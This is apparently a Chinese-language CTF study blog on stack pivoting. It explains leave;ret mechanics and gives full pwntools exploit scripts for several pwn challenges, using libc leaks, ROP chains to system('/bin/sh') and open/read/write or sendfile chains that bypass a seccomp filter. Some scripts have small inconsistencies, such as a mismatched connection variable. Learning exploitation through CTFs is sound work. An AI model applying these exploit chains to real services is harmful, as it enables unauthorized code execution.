栈迁移专题学习

栈迁移专题学习

📚 看了好几篇栈迁移的文章,🤔 越看越懵,😵‍💫 感觉自己和没学 pwn 的一样。

原理学习

32位

  1. 首先先了解栈的结构

1

(自己画的,有错误望指正)

  1. 了解栈的结构后,我们再来仔细了解一下leave;ret这两个指令
1
2
3
4
5
call func()
-----------
push eip + 4
push ebp
mov ebp,esp

如果要保持栈平衡就要在call退出的时候执行相反的操作

1
2
3
4
5
6
7
8
leave
----------
mov esp,ebp
pop ebp
************
ret
------------
pop eip
  1. 什么时候用栈迁移:

    (1).有栈溢出漏洞。

    (2).溢出的长度不够。

    所以我们就要把栈迁移到一个长度够大的区域(通常是bss段),那怎么把栈迁移呢,主要就是控制栈顶的esp指针指向我们想要他到达的地方(迁移后的地址),从而控制程序的执行流。

  2. 栈迁移最重要就是怎么利用leave;ret进行栈迁移

1
2
3
leave //mov esp;ebp 把ebp传给esp,此时esp和ebp就在同一个位置了,他们指向同一个内容
//pop ebp 把栈顶的内容弹给ebp。此时ebp指向的就是栈顶的内容了
由于esp时刻指向的是栈顶的位置,栈顶的内容弹出后,esp会下降一个单位

2

1
ret  //pop eip 就是把esp指向地址弹如eip,同时esp下降一个单元

3

了解了栈的结构和leave;ret的执行过程后,就可以来了解栈迁移的原理了

  1. 栈迁移的原理:栈迁移一共要执行两次leave;ret

    1.首先我们先了解一下此时栈上的分布情况

    1
    2
    3
    4
    5
    6
    7
    主要如下图,这里注释:
    0xffff100c--->system的返回地址
    0xffff1010--->system参数的存储地址
    0xffff1014--->存储/bin
    0xffff1018--->存储/sh
    0xffff1020--->0xffff1004 也就是ebp--->0xffff1004
    0xffff1024--->leave ret; 原本是return address;

    4

    2.第一次leave;ret:

    1
    2
    3
    由上面的leave;ret的执行过程,首先leave:mov ebp;esp,让ebp和esp在同一个位置;leave: pop ebp,此时我们把ebp所指的内容换成
    了需要迁移到的位置,所以pop ebp后esp指向的就是需要迁移到的位置。然后我们把return address换成leave ret的地址,就会再次执
    行leave ret。

    5

    3.第二次leave;ret:

    1
    2
    3
    同样是leave:mov ebp;esp,让ebp和esp在同一个位置;但是此时ebp指向的是需要迁移到的位置,所以esp此时指向的也是需要迁移到的位
    置;leave:pop ebp,我们把return address的地址换成system的地址,就使得esp下降一个单元后正好指向system的地址。ret:pop
    eip,最终eip指向system的地址--->getshell

    5

了解完了32位的栈溢出,现在来了解64位栈溢出

64位

64位和32位栈的结构是相似的,主要不同就是调用函数时传参的不同

5

实例

32位

buuctf-ciscn_2019_es_2

6

  1. IDA反编译

6

6

计算一下溢出的长度0x30 - 0x28 = 8;很明显长度不够,要用到栈迁移。

  1. 先给出exp,在具体解释
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

r=remote('node5.buuoj.cn',29440)
#r=process('./ciscn_s_4')
context.log_level='debug'

sys_addr=0x8048400
leave=0x080484b8

payload=b'a'*0x24+b'bbbb'
r.recvuntil(b'Welcome, my friend. What's your name?')
r.send(payload)
r.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4,b'\x00'))
buf=ebp-0x38
payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)
r.send(payload)
r.interactive()
  1. 首先找到leave ret的地址可以用ROPgadget找,也可以直接在IDA的汇编代码里面找

(1)用ROPgadget

1
ROPgadget --binary ciscn_2019_es_2 --only "leave|ret"

8

(2)在IDA的汇编代码里面找

8

  1. 找到system的plt地址

8

  1. 在vul函数中有两个溢出点,所以我们就需要先通过第一个溢出泄露出ebp的地址,再构造栈迁移的payload

    (1)首先泄露ebp的地址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    from pwn import *
    r = process('./pwn')
    #r = remote("node5.buuoj.cn", 25271)
    payload1= b'a'*0x24 + b'b'*4
    r.send(payload1)
    r.recvuntil('bbbb')
    ebp_addr = u32(r.recv(4))
    print(hex(ebp_addr))
    r.interactive()

    (2)构造栈迁移的payload

    1
    2
    buf=ebp-0x38 
    payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)

    buf=ebp-0x38 通过调试可以得到,我们最后调试,先解释payload

    1
    2
    3
    4
    5
    payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf)+p32(leave)
    ---------------------------------------------------------------------------------------------------------------
    buf + 12:p32(sys_addr)=4,b'aaaa'=4,p32(buf+12)=4,4+4+4=12所以buf+12就是/bin/sh的起始地址
    p32(buf):栈迁移所到达的位置
    leave:leave ret;

    8

​ 0xfffd158 - 0xfffd130 = 0x28 0xfffd158回弹到0xfffd168,正好0x28 + 0x10 = 0x38;

64位

actf_2019_babystack

9

64位,只开了NX,先给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 #coding=utf8
from pwn import *
from LibcSearcher import*
context.log_level = 'debug'
def debug():
gdb.attach(io)
pause()
#io =process('./ACTF_2019_babystack')
io = remote("node5.buuoj.cn",26651)
elf =ELF('./ACTF_2019_babystack')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4008F6
#gdb.attach(io)
io.recvuntil(b'>')
io.sendline(b'224')
io.recvuntil(b'Your message will be saved at ')
stack_addr = io.recv(14)
stack_addr =int(stack_addr,16)
print(hex(stack_addr))
pop_rdi_ret = 0x400ad3
pop_rsi__r15_ret =0x400ad1
leave_ret = 0x400A18
offest = 0xd0
payload = b'a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
payload =payload.ljust(0xd0,b'a')
payload+=p64(stack_addr)+p64(leave_ret)
io.recvuntil(b'>')
io.send(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('puts_addr:'+hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
system_addr = puts_addr-libc.dump('puts')+libc.dump('system')
str_bin_sh = puts_addr-libc.dump('puts')+libc.dump('str_bin_sh')
io.recvuntil(b'>')
io.sendline(b'224')
io.recvuntil(b'Your message will be saved at ')
stack_addr = io.recv(14)
stack_addr =int(stack_addr,16)
payload = b'a'*8+p64(leave_ret+1)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
payload =payload.ljust(0xd0,b'a')
payload+=p64(stack_addr)+p64(leave_ret)
io.send(payload)
io.interactive()

9

这个很明显要栈迁移了

这个附件里面没有找到system的地址,所以我们只能通过泄露libc来打了

1
2
3
4
payload = b'a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) #ret2libc的payload
payload =payload.ljust(0xd0,b'a') #填充垃圾数据
payload+=p64(stack_addr)+p64(leave_ret) #stack_addr就是栈的起始位置,也就是我要迁移到的位置,本题直接回打印出来,接受就可以了
b'a'*8是因为pop rbp的时候 rsp会+8,所以要。

发送payload后,就会泄露libc

1
2
3
4
payload = b'a'*8+p64(leave_ret+1)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
#system(/bin/sh) leave_ret+1--->retn用于堆栈平衡
payload =payload.ljust(0xd0,b'a')#填充垃圾数据
payload+=p64(stack_addr)+p64(leave_ret) #同理最终栈迁移执行shell

栈迁移到这里基本就总结结束啦~🌈✨😊

这里记录一个难的栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Are you the king of stack migrate?");
read(0, buf, 0x90uLL);
puts("Good luck.");
return 0LL;
}

0x90 - 0x80 = 0x10典型的栈迁移,先给exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

# 设置环境
context(os='linux', arch='amd64', log_level='info')

# 启动远程连接
io = remote('nc1.ctfplus.cn', 30481)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
leave_ret = 0x4011c8
# 快捷函数
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
sd = lambda x: io.send(x)
inter = lambda: io.interactive()

offset = 0x80
padding = offset + 0x8
bss = 0x404020 + 0x500

# 第一次栈迁移:将rbp劫持到bss段
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x40119e) # read -> bss+off
sa(b'Are you the king of stack migrate?\n', pay_pivot)
ru(b'Good luck.\n')
#gdb.attach(p)
#pause()
# 泄露puts地址
payload = flat(
0x401146, elf.got['puts'], elf.plt['puts'], # pop_rdi; puts_got; puts@plt
0x40112d, bss + offset + 0x200, 0x40119e, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)
sd(payload)
ru(b'Good luck.\n')

# 解析puts地址
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success(f"libc_base: {hex(libc_base)}")

# 构造最终payload执行system("/bin/sh")
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload = flat(
pop_rdi := 0x401146,
binsh_addr,
system_addr
).ljust(0x80, b'\x00')

payload += p64(bss + 0x200 - 0x8) + p64(0x4011c8) # leave_ret

sleep(0.5)
io.send(payload)

io.interactive()
1
这里只有一个read函数,所以我们迁到栈上几乎是不可能的了,所以我们就想到迁到bss的段上

这里把payload怎么构造和解题思路详细写一下。

解题思路

1
先将栈迁到bss的段上,返回地址覆盖为read函数,再次读入时泄露puts的地址,返回地址依然为read,再次读入getshell。

详细解释一下这个payload

1
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x40119e)

read_addr = 0x40119e,rbp –>p64(bss + offset),返回地址覆盖为read_addr(raed_addr后面有leave_ret)所以完成了,将栈迁移到bss + offset的位置进行读入。

1
2
3
4
5
6
payload = flat(
0x401146, elf.got['puts'], elf.plt['puts'], # pop_rdi; puts_got; puts@plt
0x40112d, bss + offset + 0x200, 0x40119e, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)

0x401146, elf.got[‘puts’], elf.plt[‘puts’]写了puts的地址的payload。

0x40112d, bss + offset + 0x200, 0x40119e, # pop_rbp; read -> next stage;利用pop_rbp再次利用read。

cyclic(0x50)–>0x401146, elf.got[‘puts’], elf.plt[‘puts’]和0x40112d, bss + offset + 0x200, 0x40119e加在一起是0x30+0x50=0x80。

bss - 0x8, leave_ret ;将栈迁移到 bss - 0x8的位置。pop_rbp是怎么利用的呢,首先read读入这串payload后先执行 0x401146,

elf.got[‘puts’], elf.plt[‘puts’]泄露puts的地址,然后pop_rbp。rbp就储存了bss+offset + 0x200的位置,接着执行0x40119e,从bss + offset +

0x200的位置开始read。

1
2
3
4
5
6
7
payload = flat(
pop_rdi := 0x401146,
binsh_addr,
system_addr
).ljust(0x80, b'\x00')

payload += p64(bss + 0x200 - 0x8) + p64(0x4011c8)

payload = flat(
pop_rdi := 0x401146,
binsh_addr,
system_addr
).ljust(0x80, b’\x00’)是构造system(/bin/sh)

payload += p64(bss + 0x200 - 0x8) + p64(0x4011c8)完成栈迁移。

[Black Watch 入群题]PWN1

这题不难记录一下题目和exp就可以了

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vul_function();
puts("GoodBye!");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf[24]; // [esp+0h] [ebp-18h] BYREF

v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u); //s在bss段上
v1 = strlen(m2);
write(1, m2, v1);
return read(0, buf, 0x20u);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *

# 连接到远程服务
p = remote('node5.buuoj.cn', 27611)

# 设置环境参数(架构、操作系统、日志等级)
context(arch='i386', os='linux', log_level='debug')

# 加载本地 ELF 文件
e = ELF('./spwn')

# 获取程序中的符号地址
write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
main_addr = 0x08048513 # main 函数地址

# 第一次发送 payload:泄露 write 的真实地址
payload1 = b'aaaa' + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.recvuntil('What is your name?')
p.send(payload1)

# 接收输入提示
p.recvuntil('What do you want to say?')

# 构造栈溢出 payload,覆盖返回地址,为下一次调用做准备
payload2 = b'a' * 0x18 + p32(0x0804A300) + p32(0x08048511) # 0x0804A300 为 bss 段地址,0x08048511 为 level 函数返回地址
p.send(payload2)

# 接收 write 的地址并解析
write_addr = u32(p.recv(4))
log.success("Leaked write address: " + hex(write_addr))

# 使用 LibcSearcher 查找 libc 基址及 system 和 "/bin/sh" 地址
obj = LibcSearcher('write', write_addr)
libc_base = write_addr - obj.dump('write')
sys_addr = libc_base + obj.dump('system')
bin_sh_addr = libc_base + obj.dump('str_bin_sh')

# 第二次交互:发送调用 system("/bin/sh") 的 payload
p.recvuntil('What is your name?')
payload3 = b'aaaa' + p32(sys_addr) + p32(0) + p32(bin_sh_addr)
p.send(payload3)

# 再次接收提示
p.recvuntil('What do you want to say?')

# 再次构造栈溢出 payload,确保程序流正确执行
payload4 = b'a' * 0x18 + p32(0x0804A300) + p32(0x08048511)
p.send(payload4)

# 进入交互模式,获取 shell
p.interactive()

gyctf_2020_borrowstack

这题不难也记录一下题目和exp就可以了

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[96]; // [rsp+0h] [rbp-60h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("锛積lcome to Stack bank,Tell me what you want");
read(0, buf, 0x70uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL); //bank在bss段
return 0;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

# 连接到远程服务器
p = remote('node4.buuoj.cn', 25199)

# 设置环境参数
context(arch='amd64', os='linux', log_level='debug')

# 加载 libc 和 程序的 ELF 文件
libc = ELF('libc-2.23.so')
e = ELF('./a')

# 获取 plt 和 got 中 puts 的地址
puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']

# 常量地址定义
pop_rdi_addr = 0x400703 # pop rdi; ret 指令的地址
level_ret_addr = 0x400699 # level 函数返回地址
bss_addr = 0x601080 # bss 段地址
ret_addr = 0x4004c9 # ret 指令地址
main_addr = 0x400626 # main 函数地址

# 第一个 payload:填充栈并跳转到 level_ret_addr
payload1 = 0x60 * b'a' + p64(bss_addr) + p64(level_ret_addr)
p.send(payload1)

# 第二个 payload:执行 ret 多次,然后调用 puts 泄露地址,并回到 main 函数
payload2 = p64(ret_addr) * 20 # 使用至少 20 个 ret 指令
payload2 += p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) # 调用 puts 泄露 puts 地址
payload2 += p64(main_addr) # 返回到 main 函数
p.sendafter(b'Done!You can check and use your borrow stack now!\n', payload2)

# 接收泄露的 puts 地址
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(f"Leaked puts address: {hex(puts_addr)}")

# 计算 libc 基地址和 shell 地址
libc_base = puts_addr - libc.symbols['puts']
shell = libc_base + 0x4526a system("/bin/sh") 地址
print(f"Shell address: {hex(shell)}")

# 第三个 payload:覆盖返回地址为 shell 地址
payload3 = 0x60 * b'a' + p64(0xdeadbeef) + p64(shell)
p.recvuntil(b'u want\n')
p.send(payload3)

# 接收提示后发送 '1'
p.recvuntil(b'Done!You can check and use your borrow stack now!\n')
p.send(b'1')

# 进入交互模式
p.interactive()

Basectf2024 stack in stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF

sub_4011FE(a1, a2, a3);
memset(buf, 0, sizeof(buf));
puts("It looks like something fell off mick0960.");
printf("%p\n", buf);
if ( (int)read(0, buf, 0x40uLL) < 0 )
{
perror("An error occurred while reading!");
exit(1);
}
return 0LL;
}

这里主要利用了栈迁移,进行第一次泄露puts的地址,并且返回main。再次进行栈迁移,执行ROP链getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
p = process('./pwn')
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p.recvuntil(b'It looks like something fell off mick0960.\n')
buf_addr = int(p.recv(14), 16)
print(hex(buf_addr))
main_addr = 0x40124a
leave = 0x4012f2
sub_4011C6 = 0x4011dd #泄露puts的地址

payload = p64(0) + p64(sub_4011C6) + p64(0) + p64(main_addr)
payload += p64(0)*2
payload += p64(buf_addr) + p64(leave)
p.send(payload)
#gdb.attach(p)
#pause()
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - libc.sym.puts
print(hex(libc_base))
p.recvuntil(b'It looks like something fell off mick0960.\n')
buf_addr = int(p.recv(14), 16)
#gdb.attach(p)
#pause()

system = libc_base + libc.sym.system
binsh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x2a3e5 #在libc.so.6找
ret = 0x40101a
#gdb.attach(p)
#pause()

payload = b'aaaa' + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) + p64(0)
payload += p64(buf_addr) + p64(leave)
p.send(payload)
#gdb.attach(p)
#pause()
p.interactive()
1
ROPgadget --binary libc.so.6 --only "pop|ret"  #查找pop_rdi的偏移

[SWPUCTF 2024 秋季新生赛]不可名状的东西

栈迁移+ORW

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

init(argc, argv, envp);
puts("Please enter your name!");
read(0, buf, 0x98uLL);
return 0;
}

0x98 - 0x80 -0x08 = 16太短栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

# 设置环境
context(os='linux', arch='amd64', log_level='info')

# 启动远程连接
io = remote('node6.anna.nssctf.cn', 23555)
elf = ELF('./level1')
libc = ELF('./libc.so.6')
leave_ret = 0x40120F
# 快捷函数
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
sd = lambda x: io.send(x)
inter = lambda: io.interactive()

offset = 0x80
padding = offset + 0x8
bss = 0x404020 + 0x700

# 第一次栈迁移:将rbp劫持到bss段
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x4011EF) # read -> bss+off
sa(b'Please enter your name!\n', pay_pivot)
#gdb.attach(p)
#pause()
# 泄露puts地址
payload = flat(
0x4011C5, 0x404018, 0x401060, # pop_rdi; puts_got; puts@plt
0x4011C8, bss + offset + 0x200, 0x4011EF, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)
sd(payload)

# 解析puts地址
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success(f"libc_base: {hex(libc_base)}")

# 构造最终payload执行system("/bin/sh")
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload = b'a'*8+p64(leave_ret+1)+p64(leave_ret+1)+p64(leave_ret+1)+p64(0x4011C5)+p64(binsh_addr)+p64(system_addr)
payload =payload.ljust(0x80,b'a')
payload+=p64(bss + 0x200 - 0x8)+p64(leave_ret)

sleep(0.5)
io.send(payload)

io.interactive()

开始直接用system(/bin/sh)打失败了

1
2
3
4
5
6
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0003
0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0003: 0x06 0x00 0x00 0x00000000 return KILL

execve被禁了

用ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
payload = (
# 1. 在内存中写入目标文件路径 "./flag\x00"(末尾补\x00对齐8字节)
b"./flag\x00\x00" # 字符串占6字节,补2个\x00凑8字节,存放在栈上

# 2. 调用open函数打开文件:open("./flag", O_RDONLY)
+ p64(0x4011C5) # pop rdi; ret(用于给rdi传参)
+ p64(bss + 0x200) # rdi = 字符串存放地址(./flag的地址)
+ p64(pop_rsi) # pop rsi; ret(用于给rsi传参)
+ p64(0) # rsi = 0(O_RDONLY,只读模式)
+ p64(open_addr) # 调用open函数,此时栈顶为open地址,执行后打开文件

# 3. 调用read函数读取文件内容:read(fd, buffer, size)
+ p64(0x4011C5) # pop rdi; ret
+ p64(3) # rdi = 3(假设open返回的文件描述符为3)
+ p64(pop_rsi) # pop rsi; ret
+ p64(buffer_addr) # rsi = 缓冲区地址(存放读取内容的内存地址)
+ p64(pop_rdx) # pop rdx; ret
+ p64(0x100) # rdx = 0x100(读取的字节数)
+ p64(read_addr) # 调用read函数,读取文件内容到缓冲区

# 4. 调用write函数输出内容:write(stdout, buffer, size)
+ p64(0x4011C5) # pop rdi; ret
+ p64(1) # rdi = 1(stdout,标准输出)
+ p64(pop_rsi) # pop rsi; ret
+ p64(buffer_addr) # rsi = 缓冲区地址(之前存放读取内容的地址)
+ p64(pop_rdx) # pop rdx; ret
+ p64(0x100) # rdx = 0x100(输出的字节数)
+ p64(write_addr) # 调用write函数,将读取到的flag输出到屏幕

20*8 = 160 >0x80所以不能,最终用open + sendflie成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

# 设置环境
context(os='linux', arch='amd64', log_level='info')

# 启动远程连接
io = remote('node6.anna.nssctf.cn', 24512)
elf = ELF('./level1')
libc = ELF('./libc.so.6')
leave_ret = 0x40120F
# 快捷函数
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
sd = lambda x: io.send(x)
inter = lambda: io.interactive()

offset = 0x80
padding = offset + 0x8
bss = 0x404020 + 0x700

# 第一次栈迁移:将rbp劫持到bss段
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x4011EF) # read -> bss+off
sa(b'Please enter your name!\n', pay_pivot)
#gdb.attach(p)
#pause()
# 泄露puts地址
payload = flat(
0x4011C5, 0x404018, 0x401060, # pop_rdi; puts_got; puts@plt
0x4011BB, bss + offset + 0x200, 0x4011EF, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)
sd(payload)

# 解析puts地址
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success(f"libc_base: {hex(libc_base)}")


pop_rdx_rbx = libc_base + 0x904a9
pop_rsi = libc_base + 0x2be51
pop_rcx = libc_base + 0x3d1ee

open_addr = libc_base + libc.sym['open']
sendfile = libc_base + libc.sym['sendfile']

payload3 = b"./flag\x00\x00" + p64(0x4011C5) + p64(bss + 0x200) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload3 += p64(0x4011C5) + p64(1) + p64(pop_rsi) + p64(3) + p64(pop_rdx_rbx) + p64(0)*2 + p64(pop_rcx) + p64(0x40) + p64(sendfile)
payload3 += p64(bss + 0x200)+ p64(leave_ret)


sleep(0.5)
io.send(payload3)

io.interactive()

[NSSRound#14 Basic]rbp

这题就是0x210可以用ORW,我一开始用sendflie可是没通。

1
2
ROPgadget --binary libc.so.6 --only "pop|ret" | grep "pop rcx ; ret"
0x0000000000118d4f : pop rcx ; ret 0xf66

感觉是不是0xf66导致pop rcx不能用,就直接用orw了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
from ctypes import *
from struct import pack
banary = "./rbp"
elf = ELF(banary)
#libc = ELF("./libc.so.6")
libc=ELF("libc.so.6")
ip = 'node4.anna.nssctf.cn'
port = 28184
local = 0
if local:
io = process(banary)
else:
io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
offset = 0x210
pop_rdi=0x0000000000401353
pop_rbp=0x00000000004011bd
read=0x0000000000401292
leave_ret=0x000000000040121d
ret=0x000000000040101a
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bss = 0x404060 + 0x700
pop_rsi_r15=0x0000000000401351

ru("try it")
payload=b'A'*0x210+p64(bss+0x210)+p64(read)
s(payload)

sleep(0.5)
payload=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_rbp)+p64(bss + offset + 0x200)+p64(read)
payload=payload.ljust(0x210,b'\x00')+p64(bss-8)+p64(leave_ret)
s(payload)
libcbase=uu64()-libc.sym['puts']
lg("libcbase;"+hex(libcbase))
open=libcbase+libc.sym['open']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
pop_rdx=libcbase+0x0000000000142c92

sleep(0.5)
flag_addr=bss + 0x200
payload=b'flag'.ljust(8,b'\x00')
payload+=p64(ret)+p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(elf.bss(0x100))+p64(0)+p64(pop_rdx)+p64(0x50)+p64(read)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(elf.bss(0x100))+p64(0)+p64(pop_rdx)+p64(0x50)+p64(write)
payload=payload.ljust(0x210,b'\x00')+p64(bss + 0x200)+p64(leave_ret)
s(payload)

ia()